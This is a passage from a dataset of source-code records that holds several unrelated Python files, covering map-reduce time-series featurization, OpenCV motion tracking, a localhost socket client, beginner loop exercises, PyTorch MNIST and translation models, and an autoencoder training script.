range(0,line_counter(location_data)):\r\n if location_data[x][0:2] == node:\r\n location_string = (location_data[x][3:100]).strip()\r\n locations_list = location_string.split(\" \")\r\n return locations_list\r\n else:\r\n return \"location not found\"\r\n\r\n#testing ouput\r\nprint(*Get_Locations(\"G5\"),sep=\" \")\r\nprint(*Get_Locations(\"A1\"),sep=\" \")\r\nprint(Get_Locations(\"Z69\"))\r\n\r\ndistance_calc(Get_Locations(\"G5\"),Get_Locations(\"A1\"))\r\nprint(Get_Connections(\"A1\")[0])\r\n","sub_path":"DFS.py","file_name":"DFS.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"438871243","text":"from __future__ import print_function\n\nimport os\n\nimport tarfile\nimport uuid\nimport ntpath\nfrom . import cfg\nfrom . import util\nfrom . import disco_tools\ntry:\n from disco.core import Job, result_iterator\n from disco.util import kvgroup\n DISCO_INSTALLED = True\nexcept Exception as theError:\n DISCO_INSTALLED = False\n\n\ndef custom_reader(fd, size, url, params):\n \"\"\"To override default disco.job.Job map reader.\"\"\"\n from mltsp import disco_tools\n try:\n class_name = disco_tools.url_to_class_and_meta_feats_dict(\n url, params[\"fname_class_dict_2\"])[\"class\"]\n except KeyError:\n class_name = \"unknown\"\n yield url, class_name\n\n\ndef pred_map(url_classname, params):\n \"\"\"Map procedure for use in Disco's map-reduce implementation.\n\n Generator used for featurizing prediction data. Yields a\n (file name, empty string) tuple.\n\n This function is never directly called, but rather passed as a\n parameter to the Disco `Job()` object's `run()` method.\n\n Parameters\n ----------\n fname : str\n Single line from a file containing file name and a placeholder\n separated by a comma.\n params : dict\n Dictionary of parameters for use in map-reduce process.\n\n Yields\n ------\n tuple of str\n Two-element tuple containing file name (str) and class name\n (str).\n\n \"\"\"\n url, junk = url_classname\n yield url, junk\n\n\ndef pred_featurize_reduce(iter, params):\n \"\"\"Generate features as reduce step in Disco's map-reduce.\n\n Generator. Implementation of reduce stage in map-reduce process,\n for model prediction feature generation of time series data.\n\n This function is never directly called, but rather passed as a\n parameter to the Disco `Job()` object's `run()` method.\n\n Parameters\n ----------\n iter : iterable\n Iterable of tuples each containing the file name of a time\n series data file to be used for featurization and an unused\n placeholder string.\n params : dict\n Dictionary of parameters for use in map-reduce process.\n\n Yields\n ------\n tuple\n A two-element tuple containing the file name of the\n time series data set as its first element, and a two-element\n list containing the extracted features (dict) and the original\n time series data (list of lists) as its the second element.\n\n \"\"\"\n featset_key = params['featset_key']\n custom_features_script = params['custom_features_script']\n meta_features = params['meta_features']\n\n import os\n\n from mltsp import cfg\n from mltsp import predict_class as pred\n import ntpath\n from disco.util import kvgroup\n\n for fname, junk in kvgroup(sorted(iter)):\n if fname[:7] == \"file://\":\n fname = fname.replace(\"file://\", \"\")\n if os.path.isfile(fname):\n fpath = fname\n elif os.path.isfile(os.path.join(params[\"tmp_dir_path\"], fname)):\n fpath = os.path.join(params[\"tmp_dir_path\"], fname)\n elif os.path.isfile(\n os.path.join(os.path.join(cfg.UPLOAD_FOLDER, \"unzipped\"),\n fname)):\n fpath = os.path.join(\n os.path.join(cfg.UPLOAD_FOLDER, \"unzipped\"), fname)\n else:\n print((fname if cfg.UPLOAD_FOLDER in fname else\n os.path.join(cfg.UPLOAD_FOLDER, fname)) +\n \" is not a file...\")\n if (os.path.exists(os.path.join(cfg.UPLOAD_FOLDER, fname)) or\n os.path.exists(fname)):\n print(\"But it does exist on the disk.\")\n else:\n print(\"and in fact it doesn't even exist.\")\n continue\n\n features_to_use = pred.determine_feats_used(featset_key)\n big_feats_and_tsdata_dict = pred.featurize_single(\n fpath, features_to_use, custom_features_script, meta_features)\n\n try:\n os.remove(fpath)\n except Exception as e:\n print(e)\n short_fname = ntpath.basename(fpath).split(\"$\")[0]\n all_features = big_feats_and_tsdata_dict[short_fname][\"features_dict\"]\n ts_data = big_feats_and_tsdata_dict[short_fname][\"ts_data\"]\n yield short_fname, [all_features, ts_data]\n\n\ndef process_prediction_data_featurization_with_disco(input_list, params,\n partitions=4):\n \"\"\"Featurize time-series data in parallel as a Disco job.\n\n Called from within the `featurize_prediction_data_in_parallel`\n function.\n\n Parameters\n ----------\n input_list : str\n Path to two-column CSV file listing the file name and an unused\n placeholder string (comma-separated) for each individual time\n series data file, one per line.\n params : dict\n Dictionary of parameters to be passed to each map & reduce\n function.\n partitions : int, optional\n Number of nodes/partitions in system. Defaults to 4.\n\n Returns\n -------\n iterator\n disco.core.result_iterator(), an interator of two-element\n tuples, each containing the file name of the original time\n series data file, and a dictionary of the associated features\n generated.\n\n \"\"\"\n job = Job('with_modules').run(\n input=input_list,\n map=pred_map,\n map_reader=custom_reader,\n reduce=pred_featurize_reduce,\n params=params,\n required_modules=[(\"mltsp\",\n os.path.dirname(os.path.dirname(__file__)))])\n\n result = result_iterator(job.wait(show=True))\n return result\n\n\ndef featurize_prediction_data_in_parallel(\n newpred_file_path, featset_key, sep=',',\n custom_features_script=None, meta_features={},\n tmp_dir_path=\"/tmp\"):\n \"\"\"Generate features using Disco's map-reduce framework.\n\n Utilizes Disco's map-reduce framework to generate features on\n multiple time series data files in parallel. The generated\n features are returned, along with the time series data, in a\n dict (with file names as keys).\n\n Parameters\n ----------\n newpred_file_path : str\n Path to the zip file containing time series data files to be\n featurized.\n featset_key : str\n RethinkDB key of the feature set associated with the model to\n be used in prediction.\n sep : str, optional\n Delimiting character in time series data files. Defaults to \",\".\n custom_features_script : str, optional\n Path to custom features script to be used in feature\n generation. Defaults to None.\n meta_features : dict\n Dictionary of associated meta features. Defaults to an empty\n dict.\n tmp_dir_path : str, optional\n Path to temporary files directory, in which any temporary files\n will be created. Defaults to None, in which case temporary\n files are created in working directory, though they are later\n removed.\n\n Returns\n -------\n dict\n Dictionary whose keys are the file names of the original time-\n series data and keys are dictionaries containing a dictionary\n of the features generated and a list of the time-series data.\n\n \"\"\"\n session_key = str(uuid.uuid4())[:8]\n the_tarfile = tarfile.open(newpred_file_path)\n the_tarfile.extractall(path=tmp_dir_path)\n all_fnames = the_tarfile.getnames()\n all_fnames = [f for f in all_fnames if not os.path.isdir(f)]\n\n orig_fnames_dict = {}\n tags = []\n for i in range(len(all_fnames)):\n short_fname = ntpath.basename(all_fnames[i])\n tags.append(str(session_key +\n short_fname.replace(\".\", \"_\")))\n orig_fnames_dict[short_fname.replace(\".\", \"_\")] = short_fname\n if not os.path.isabs(all_fnames[i]):\n all_fnames[i] = os.path.join(tmp_dir_path, all_fnames[i])\n # Push all data files to DDFS\n disco_tools.push_all_objects(all_fnames, tags)\n\n if not os.path.exists(cfg.PROJECT_PATH_LINK):\n os.symlink(cfg.PROJECT_PATH, cfg.PROJECT_PATH_LINK)\n big_features_and_tsdata_dict = {}\n\n params = {\"featset_key\": featset_key, \"sep\": sep,\n \"custom_features_script\": custom_features_script,\n \"meta_features\": meta_features,\n \"tmp_dir_path\": tmp_dir_path}\n\n try:\n disco_iterator = process_prediction_data_featurization_with_disco(\n input_list=tags, params=params)\n except:\n raise\n finally:\n disco_tools.delete_pushed_objects(session_key)\n for k, v in disco_iterator:\n fname = k\n features_dict, ts_data = v\n if fname != \"\":\n big_features_and_tsdata_dict[fname] = {\n \"features_dict\": features_dict, \"ts_data\": ts_data}\n\n print(\"Feature generation complete.\")\n for key, val in big_features_and_tsdata_dict.items():\n big_features_and_tsdata_dict[orig_fnames_dict[key]] = val\n del big_features_and_tsdata_dict[key]\n return big_features_and_tsdata_dict\n\n\ndef map(fname_and_class, params):\n \"\"\"Map procedure for use in Disco's map-reduce implementation.\n\n Generator used for feature generation process. Yields a\n (file name, class name) tuple.\n\n This function is never directly called, but rather passed as a\n parameter to the Disco `Job()` object's `run()` method.\n\n Parameters\n ----------\n fname_and_class : str\n Single line from a file containing file name and class name\n separated by a comma.\n params : dict\n Dictionary of parameters for use in map-reduce process.\n\n Yields\n ------\n tuple of str\n Two-element tuple containing file name (str) and class name\n (str).\n\n \"\"\"\n fname, class_name = fname_and_class\n yield fname, class_name\n\n\ndef featurize_reduce(iter, params):\n \"\"\"Generate features as reduce step in Disco's map-reduce.\n\n Generator. Implementation of reduce stage in map-reduce process,\n for model prediction feature generation of time series data.\n\n This function is never directly called, but rather passed as a\n parameter to the Disco `Job()` object's `run()` method.\n\n Parameters\n ----------\n iter : iterable\n Iterable of tuples each containing the file name of a time\n series data file to be used for featurization, and the\n associated class or type name.\n params : dict\n Dictionary of parameters for use in map-reduce process.\n\n Yields\n ------\n tuple\n A two-element tuple containing the file name of the time\n series data set, and dict of the extracted features.\n\n \"\"\"\n from disco.util import kvgroup\n import ntpath\n from mltsp import featurize\n from mltsp import cfg\n\n for fname, class_name in kvgroup(sorted(iter)):\n if fname[:7] == \"file://\":\n fname = fname.replace(\"file://\", \"\")\n class_names = []\n for classname in class_name:\n class_names.append(classname)\n if len(class_names) == 1:\n class_name = str(class_names[0])\n elif len(class_names) == 0:\n yield \"\", \"\"\n else:\n class_name = str(class_names[0])\n\n short_fname = os.path.splitext(ntpath.basename(fname))[0].split(\"$\")[0]\n path_to_csv = os.path.join(params['tmp_dir_path'], fname)\n if os.path.exists(path_to_csv):\n print(\"Extracting features for \" + fname)\n all_features = featurize.featurize_tsdata_object(\n path_to_csv, short_fname, params['custom_script_path'],\n params['fname_class_dict_2'], params['features_to_use'])\n all_features[\"class\"] = class_name\n yield short_fname, all_features\n else:\n print(\"*\" * 10 + \" \" + path_to_csv + \" doesn't exist on the disk.\")\n yield \"\", \"\"\n\n\ndef process_featurization_with_disco(input_list, params, partitions=4):\n \"\"\"Featurize time-series data in parallel as a Disco job.\n\n Called from within the `featurize_in_parallel` function.\n\n Parameters\n ----------\n input_list : str\n Path to file listing the file name and class name\n (comma-separated) for each individual time series data file,\n one per line.\n params : dict\n Dictionary of parameters to be passed to each map & reduce\n function.\n partitions : int, optional\n Number of nodes/partitions in system. Defaults to 4.\n\n Returns\n -------\n iterator\n disco.core.result_iterator(), an interator of two-element\n tuples, each containing the file name of the original time\n series data file, and a dictionary of the associated features\n generated.\n\n \"\"\"\n from disco.core import Job, result_iterator\n job = Job('with_modules').run(\n input=input_list,\n map_reader=custom_reader,\n map=map,\n partitions=partitions,\n reduce=featurize_reduce,\n params=params,\n required_modules=[(\"mltsp\",\n os.path.dirname(os.path.dirname(__file__)))])\n\n result = result_iterator(job.wait(show=True))\n return result\n\n\ndef featurize_in_parallel(headerfile_path, zipfile_path, features_to_use=[],\n is_test=False, custom_script_path=None,\n meta_features={}):\n \"\"\"Generate features using Disco's map-reduce framework.\n\n Utilizes Disco's map-reduce framework to generate features on\n multiple time series data files in parallel. The generated\n features are returned, along with the time series data, in a\n dict (with file names as keys).\n\n Parameters\n ----------\n headerfile_path : str\n Path to header file containing file names, class names, and\n metadata.\n zipfile_path : str\n Path to the tarball of individual time series files to be used\n for feature generation.\n features_to_use : list, optional\n List of feature names to be generated. Default is an empty list,\n which results in all available features being used.\n is_test : bool, optional\n Boolean indicating whether to do a test run of only the first\n five time-series files. Defaults to False.\n custom_script_path : str, optional\n Path to Python script containing methods for the generation of\n any custom features.\n meta_features : dict, optional\n Dictionary of associated meta features, defaults to an empty\n dict.\n\n Returns\n -------\n dict\n Dictionary whose keys are the file names of the original time-\n series data and keys are dictionaries containing a dictionary\n of the features generated and a list of the time-series data.\n\n \"\"\"\n session_key = str(uuid.uuid4())[:8]\n all_features_list = cfg.features_list[:] + cfg.features_list_science[:]\n\n if len(features_to_use) == 0:\n features_to_use = all_features_list\n\n if not os.path.exists(cfg.PROJECT_PATH_LINK):\n os.symlink(cfg.PROJECT_PATH, cfg.PROJECT_PATH_LINK)\n fname_class_dict = {}\n line_no = 0\n with open(headerfile_path) as headerfile:\n for line in headerfile:\n if len(line) > 1 and line[0] not in [\"#\", \"\\n\"] and \\\n line_no > 0 and not line.isspace():\n if len(line.split(',')) >= 2:\n fname, class_name = line.strip('\\n').split(',')[:2]\n fname_class_dict[fname] = class_name\n line_no += 1\n tmp_dir_path = os.path.join(\"/tmp\", str(uuid.uuid4())[:10])\n os.mkdir(tmp_dir_path)\n zipfile = tarfile.open(zipfile_path)\n zipfile.extractall(tmp_dir_path)\n all_fnames = zipfile.getnames()\n all_fnames = [f for f in all_fnames if not os.path.isdir(f)]\n if is_test:\n all_fnames = all_fnames[:3]\n\n orig_fnames_dict = {}\n tags = []\n for i in range(len(all_fnames)):\n short_fname = ntpath.basename(all_fnames[i])\n tags.append(str(session_key +\n short_fname.replace(\".\", \"_\")))\n orig_fnames_dict[short_fname.replace(\".\", \"_\")] = short_fname\n if not os.path.isabs(all_fnames[i]):\n all_fnames[i] = os.path.join(tmp_dir_path, all_fnames[i])\n # Push all data files to DDFS\n disco_tools.push_all_objects(all_fnames, tags)\n\n print(\"Generating science features...\")\n\n longfname_class_list = []\n for i in range(len(all_fnames)):\n short_fname = os.path.splitext(ntpath.basename(all_fnames[i]))[0]\n if short_fname in fname_class_dict:\n longfname_class_list.append([\n all_fnames[i], fname_class_dict[short_fname]])\n elif all_fnames[i] in fname_class_dict:\n longfname_class_list.append([\n all_fnames[i], fname_class_dict[all_fnames[i]]])\n\n params = {}\n params['fname_class_dict'] = fname_class_dict\n params['features_to_use'] = features_to_use\n params['meta_features'] = meta_features\n params['custom_script_path'] = custom_script_path\n params['tmp_dir_path'] = tmp_dir_path\n params['fname_class_dict_2'] = disco_tools.headerfile_to_fname_dict(\n headerfile_path)\n\n try:\n disco_results = process_featurization_with_disco(\n input_list=tags, params=params)\n except:\n raise\n finally:\n disco_tools.delete_pushed_objects(session_key)\n fname_features_dict = {}\n for k, v in disco_results:\n fname_features_dict[k] = v\n\n print(\"Done generating features.\")\n for key, val in fname_features_dict.items():\n fname_features_dict[orig_fnames_dict[key]] = val\n del fname_features_dict[key]\n\n return fname_features_dict\n","sub_path":"mltsp/parallel_processing.py","file_name":"parallel_processing.py","file_ext":"py","file_size_in_byte":17586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"185515718","text":"import numpy as np\nimport sqlite3\nimport pickle\nimport cv2\nimport time\nimport os\n\n#threshold to erase low motion zones\nthreshold = 50\n#amount of iterations to make countours more thin before thresholding\nerode_iterations1 = 2\n#amount of iterations to make countours more thin after thresholding\nerode_iterations2 = 2\n#amount of iterations to make countours more thick after thresholding\ndilate_iterations = 10\n#size of matrix for blur\nblur_size = 45\n#amount of frames (after motion detected) that should be passed before initialize tracker\ndelay = 2\n\n#Share of image that object can occupy (object size limitations)\n#max_obj_height = 0.1\n#min_obj_height = 0.005\n#max_obj_width = 0.1\n#min_obj_width = 0.005\n\n#Uncomment if no limitations\nmax_obj_height = 1\nmin_obj_height = 0\nmax_obj_width = 1\nmin_obj_width = 0\n\nBS = cv2.createBackgroundSubtractorMOG2()\n\n#connect to the database\ndb_path = 'data/data.db'\ndata = sqlite3.connect(db_path)\ncursor = data.cursor()\n\n# Parameters for lucas kanade optical flow\nlk_params = dict( winSize = (15,15),\n maxLevel = 2,\n criteria = (cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03))\n\ndef find_objects_motion_on_frames():\n #for each video...\n for video_id in os.listdir(\"prepared_video/\"):\n #...choose it's frames from database\n cursor.execute('SELECT * FROM frames WHERE video_id = :key', {\"key\": video_id})\n frames = cursor.fetchall()\n #path to frames of this video\n folder_path = \"prepared_video/\" + video_id + \"/\"\n\n #indicator shows if object is tracked\n tracking = False\n #counter shows amount of frames passed after motion of object detected\n delay_counter = 0\n #number of object key points when tracking started\n start_kp_number = 0\n #key points on last frame\n kp_last = []\n #old frame in gray\n old_gray = []\n\n #for each frame in database\n for frame in frames:\n #get this frame's image\n frame_name = str(frame[2]) + '.jpg'\n frame_id = frame[0]\n frame_curr = cv2.imread(os.path.join(folder_path, frame_name))\n\n #try to find contours (objects) on the frame\n cnt_curr = frame_processing(frame_curr)\n #if contour found, check if it is an object\n if len(cnt_curr) > 0:\n (tracking, start_kp_number, old_gray, kp_last, delay_counter) = object_check(frame_curr, frame_id, old_gray, cnt_curr, kp_last, start_kp_number, delay_counter)\n #else there is no tracking. Renew previous frame.\n else:\n tracking = False\n old_gray = cv2.cvtColor(frame_curr, cv2.COLOR_BGR2GRAY)\n\n #if object motion found, add object's coordinates to the database\n if tracking:\n (x, y, w, h) = cnt_curr = cv2.boundingRect(cnt_curr)\n data.execute(\"UPDATE frames SET object = 1, obj_x = ?, obj_y = ?, obj_w = ?, obj_h = ? WHERE id = ?\", (x, y, w, h, frame_id))\n #commit changes\n data.commit()\n\n#try to find countours (objects) on the frame\ndef frame_processing(frame):\n #remove colour and blur image before BS for better results\n frame_diff = frame.copy()\n frame_diff = cv2.cvtColor(frame_diff, cv2.COLOR_BGR2GRAY)\n frame_diff = cv2.GaussianBlur(frame_diff, (blur_size, blur_size), 0)\n #get difference between frame and background model\n frame_diff = BS.apply(frame_diff)\n\n #make countours more thin to erase dots (noice)\n frame_diff = cv2.erode(frame_diff, None, iterations=erode_iterations1)\n #threshold to erase low motion zones\n frame_diff = cv2.threshold(frame_diff, threshold, 255, cv2.THRESH_BINARY)[1]\n frame_diff = cv2.erode(frame_diff, None, iterations=erode_iterations2)\n #make countours more thick\n frame_diff = cv2.dilate(frame_diff, None, iterations=dilate_iterations)\n\n #get frame size for counting object size limitations\n frame_height, frame_width, _ = frame.shape\n #list of countours satisfy limitations\n cnts_valid = []\n\n #get countours using difference image\n (_, cnts, _) = cv2.findContours(frame_diff, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n #get 5 largest countours\n cnts = sorted(cnts, key = cv2.contourArea, reverse = True)[:5]\n\n #check if each countour satisfy object size limitations. If so, add to other valid countours\n for cnt in cnts:\n (x, y, w, h) = cv2.boundingRect(cnt)\n if w < frame_width*max_obj_width and w > frame_width*min_obj_width and h < frame_height*max_obj_height and h > frame_height*min_obj_height:\n cnts_valid.append(cnt)\n #get largest valid countour\n if cnts_valid:\n cnt = cnts_valid[0]\n return(cnt)\n else:\n return([])\n\n#check if a countour is a object in motion\ndef object_check(frame_curr, frame_id, old_gray, cnt_curr, kp_last, start_kp_number, delay_counter):\n #current frame in gray\n frame_gray = cv2.cvtColor(frame_curr, cv2.COLOR_BGR2GRAY)\n #increment amount of frames passed after motion of object detected\n delay_counter += 1\n #... and if delay performed...\n if delay_counter > delay:\n #if object is already tracked...\n if len(kp_last) > 0:\n #calculate optical flow\n kp_curr, good, err = cv2.calcOpticalFlowPyrLK(old_gray, frame_gray, kp_last, None, **lk_params)\n\n #check if new key points are marked as \"good\" and they are still inside the contour\n kp_mask = []\n for key_point in kp_curr:\n kp_mask.append(cv2.pointPolygonTest(cnt_curr, tuple(key_point[0]), measureDist = False))\n kp_mask = (np.array(kp_mask) == 1)\n kp_curr = kp_curr[kp_mask]\n good = good[kp_mask]\n good_new = kp_curr[good==1]\n\n #if at least 75% of key points that was initialized still inside contour, keep tracking\n if len(kp_curr) > start_kp_number * 0.75:\n return(True, start_kp_number, frame_gray, good_new.reshape(-1,1,2), delay_counter)\n #if less than 75%, stop tracking\n else:\n return(False, start_kp_number, frame_gray, [], 0)\n #if object is not tracked, start it\n else:\n #find key points that belong that object for tracking initializing\n #find key points of that frame in database\n cursor.execute('SELECT * FROM key_points WHERE frame_id = :key', {\"key\": frame_id})\n kp_last = cursor.fetchall()\n kp_last = np.array(kp_last)\n\n #get only key points that belong that object\n kp_mask = []\n for key_point in kp_last:\n coordinates = (key_point[1], key_point[2])\n kp_mask.append(cv2.pointPolygonTest(cnt_curr, coordinates, measureDist = False))\n kp_mask = (np.array(kp_mask) == 1)\n kp_last = np.array(kp_last)\n kp_last = kp_last[kp_mask]\n\n points_last = []\n for key_point in kp_last:\n coordinates = (key_point[1], key_point[2])\n points_last.append(np.float32(np.array([coordinates])))\n\n return(False, len(kp_last), frame_gray, np.array(points_last), delay_counter)\n #if delay not performed, just pass\n else:\n return(False, start_kp_number, frame_gray, [], delay_counter)\n\nfind_objects_motion_on_frames()\n\nprint('data updated')\nprint('total time: ', time.process_time())","sub_path":"motion_optical_flow.py","file_name":"motion_optical_flow.py","file_ext":"py","file_size_in_byte":7468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"180244689","text":"#!/usr/bin/env python3\n# coding=utf-8\n# title : tsTcint.py\n# description :\n# author : JackieTsui\n# organization : pytoday.org\n# date : 2018/7/13 23:06\n# email : jackietsui72@gmail.com\n# notes :\n# ==================================================\n\n# Import the module needed to run the script\nfrom socket import *\n\n\nHOST = '127.0.0.1'\nPORT = 12345\nBUFSIZE = 1024\nADDR = (HOST, PORT)\n\nwhile True:\n tcpcli = socket(AF_INET, SOCK_STREAM)\n tcpcli.connect(ADDR)\n data = input('>')\n if not data:\n break\n tcpcli.send(data.encode('utf-8'))\n recdata = tcpcli.recv(BUFSIZE)\n if not recdata:\n break\n print(recdata.decode('utf-8'))\n tcpcli.close()\n","sub_path":"example_codes/net_socket/tsTcintSS.py","file_name":"tsTcintSS.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"138113124","text":"contador = 0\r\nvalor = 1\r\ncontadorImpar = 0\r\nwhile valor != 0:\r\n valor = int(input(\"Insira o valor \"))\r\n fatorialAux = valor\r\n fatorial = valor\r\n while fatorialAux > 1:\r\n fatorialAux = fatorialAux - 1\r\n fatorial = fatorial * fatorialAux\r\n print(\"Fatorial %i\" % (fatorial))\r\n fibonacci = 0\r\n fib1 = 0\r\n fib2 = 1\r\n while fibonacci < valor:\r\n fibonacci = fib1 + fib2\r\n fib1 = fib2\r\n fib2 = fibonacci\r\n if valor == fibonacci:\r\n print(\"Pertence fibonacci\")\r\n else:\r\n print(\"Não pertence fibonacci\")\r\n contador += 1\r\n impar = valor % 2\r\n if impar == 1:\r\n contadorImpar += 1\r\npercentualImpar = contadorImpar*100/contador\r\nprint(\"Quantidade: %i\" % (contador))\r\nprint(\"Porcentagem de impares: %i\" % (percentualImpar))\r\n","sub_path":"Fundamentos/exercicioLoop13.py","file_name":"exercicioLoop13.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"28735701","text":"import torch\nimport torchvision # Collection of vision data for pytorch\nfrom torchvision import transforms, datasets\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\n# Most of time spent on data itself -- In our case need to collect the information \n# from the cart-pole\n\n# Two main datasets - Training and Testing to see if not overfit (AKA works in practice)\ntrain = datasets.MNIST(\"\", train=True, download=True,\n transform = transforms.Compose([transforms.ToTensor()]))\n\ntest = datasets.MNIST(\"\", train=False, download=True,\n transform = transforms.Compose([transforms.ToTensor()]))\n\ntrainset = torch.utils.data.DataLoader(train, batch_size=10, shuffle=True)\ntestset = torch.utils.data.DataLoader(test, batch_size=10, shuffle=True)\n\n# Creating NN Section\n\nclass Net(nn.Module):\n def __init__(self):\n super().__init__() # Init nn module\n \n # Defining Layers\n # self.fc1 = nn.Linear(input, output)\n self.fc1 = nn.Linear(28*28, 64)\n self.fc2 = nn.Linear(64, 64)\n self.fc3 = nn.Linear(64, 64)\n self.fc4 = nn.Linear(64, 10)\n \n # Defines how layers will be passed \n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n x = F.log_softmax(self.fc4(x), dim=1) # Get probability distribution on output\n return x\n \nnet = Net()\n\nX = torch.rand((28,28))\nX = X.view(1,28*28) # Resize for NN\n\noutput = net(X)\n\noptimizer = optim.Adam(net.parameters(), lr=0.001)\n\nEPOCHS = 3\n\nfor epoch in range(EPOCHS):\n for data in trainset:\n # data is a batch of featuresets and labels\n X, y = data # X is data and y is class\n \n\n\n\n\n\n","sub_path":"Code/PythonBeginnerCode/PyTorch Tutorials/Tutorial3.py","file_name":"Tutorial3.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"180445401","text":"from translation_models import Encoder_simple, Decoder_simple, \\\r\n Translator_simple\r\nfrom functions import *\r\n\r\n\r\ndevice = torch.device('cpu')\r\ninput_dim = 16483\r\noutput_dim = 11778\r\nencoder_embedding_dim = 256\r\ndecoder_embedding_dim = 256\r\nhidden_dim = 512\r\nlayers = 2\r\nencoder_dropout_prob = 0.5\r\ndecoder_dropout_prob = 0.5\r\nbidirectional = True\r\n\r\nencoder = Encoder_simple(input_dim, encoder_embedding_dim,\r\n hidden_dim // 2, layers,\r\n encoder_dropout_prob,\r\n bidirectional=bidirectional)\r\ndecoder = Decoder_simple(output_dim, decoder_embedding_dim,\r\n hidden_dim, layers, decoder_dropout_prob)\r\n\r\nmodel = Translator_simple(encoder, decoder, device).to(device)\r\nmodel.load_state_dict(torch.load('simple_LSTM_bleu_ru_en.pt',\r\n map_location=device))\r\n\r\n\r\ndef translate_simple_LSTM(example, SRC, TRG, translator=model,\r\n device=device):\r\n translation = translate(example, translator, TRG, SRC, device)\r\n return translation\r\n","sub_path":"translator_simple_LSTM_ru_en.py","file_name":"translator_simple_LSTM_ru_en.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"189801523","text":"import os\nimport pandas as pd\nimport numpy as np\n\nimport torch\nimport torchvision\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader, Dataset, TensorDataset\nfrom torchvision import transforms, datasets\nfrom torchvision.datasets import MNIST\nfrom torchvision.utils import save_image\n\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom data.PoissonDigitDataset import PoissonDigitDataset\n\nimport model.model_autoencoder as model\n\nimport time\n\nimport argparse\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model', type=str, default='okgan')\nparser.add_argument('--code_dim', type=int, default=16)\n\nargs = parser.parse_args()\n\nif not os.path.exists('./mlp_img'):\n os.mkdir('./mlp_img')\n\n\ndef to_img(x):\n if args.model == 'okgan':\n x = 0.5 * (x + 1)\n x = x.clamp(0, 1)\n x = x.view(x.size(0), 1, 28, 28*3)\n return x\n\n\nnum_epochs = 100\nbatch_size = 128\nlearning_rate = 5e-4\n'''\nif args.model == 'okgan':\n img_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\nelif args.model == 'gmmn':\n img_transform = transforms.Compose([transforms.ToTensor()])\n'''\n\n#dataset = MNIST('./mnist_data/dataset', transform=img_transform, download=True)\n#dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)\n\nimg_size = 28\n\ncompose = transforms.Compose(\n [transforms.Resize(img_size),\n transforms.ToTensor(),\n transforms.Normalize((.5,), (.5,))\n ])\n\ndl = DataLoader(datasets.MNIST('./data/mnist', train=True, transform=compose, download=True), batch_size=60000, shuffle=False)\nfor _, full_batch in enumerate(dl):\n train_data = full_batch[0]\n train_labels = full_batch[1]\n\nmnist_tensor = train_data.to(dtype=torch.float32)\nmnist_tensor = mnist_tensor.reshape(mnist_tensor.shape[0], -1) \n\nmnist_df = pd.DataFrame(mnist_tensor.cpu().numpy())\nmnist_df['label'] = train_labels.cpu().numpy()\n\nMNIST_DIGITS = [\n mnist_df[\n mnist_df['label'] == ind\n ].drop('label',axis=1).values.reshape([-1,28,28]) \n for ind in range(10)\n]\n\ndef display_poisson_digits(mean=100,num_digits=3):\n # Here we pick a random integer from the poisson distribution\n digits = np.random.poisson(mean)\n # This is the list of the digits in this number\n digits_lst = list(map(int, list(str(digits))))\n num_dig = len(digits_lst)\n if num_digits < num_dig:\n return None\n digs = [0 for _ in range(num_digits - num_dig )] + digits_lst\n out = []\n # out is a list of mnist digits corres\n for dig in digs:\n digims = MNIST_DIGITS[dig]\n randind = np.random.randint(low=0,high=digims.shape[0])\n choice = digims[randind]\n out.append(choice)\n return np.hstack(out), digits\n\n\ndata_poisson_digit = PoissonDigitDataset(display_poisson_digits, n_data=100000) \n# Create loader with data, so that we can iterate over it\ndata_loader = torch.utils.data.DataLoader(data_poisson_digit, batch_size=batch_size, shuffle=True)\n\nif args.model == 'okgan':\n model = model.autoencoder(input_dim=28*84, code_dim=args.code_dim)\nelif args.model == 'gmmn':\n model = model.autoencoder_GMMN(code_dim=args.code_dim)\n \nif torch.cuda.is_available():\n model.cuda()\ncriterion = nn.MSELoss()\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=1e-5)\n\nfor epoch in range(num_epochs):\n for data in data_loader:\n img = data.type(torch.FloatTensor)\n img = img.view(img.size(0), -1)\n img = Variable(img)\n if torch.cuda.is_available():\n img = Variable(img).cuda()\n # ===================forward=====================\n if args.model == 'okgan':\n output = model(img)\n elif args.model == 'gmmn':\n _, output = model(img)\n loss = criterion(output, img)\n # ===================backward====================\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n # ===================log========================\n print('epoch [{}/{}], loss:{:.4f}'.format(epoch + 1, num_epochs, loss.item()))\n if epoch % 10 == 0:\n pic = to_img(output.cpu().data)\n save_image(pic, './mlp_img/image_PoissonDigits{}.png'.format(epoch))\n\nif not os.path.exists('checkpoint_autoencoder/'):\n os.makedirs('checkpoint_autoencoder/')\n \nif args.model == 'okgan':\n torch.save(model.state_dict(), './checkpoint_autoencoder/autoencoder_poisson_dim{}.pth'.format(args.code_dim))\nelif args.model == 'gmmn':\n torch.save(model.state_dict(), 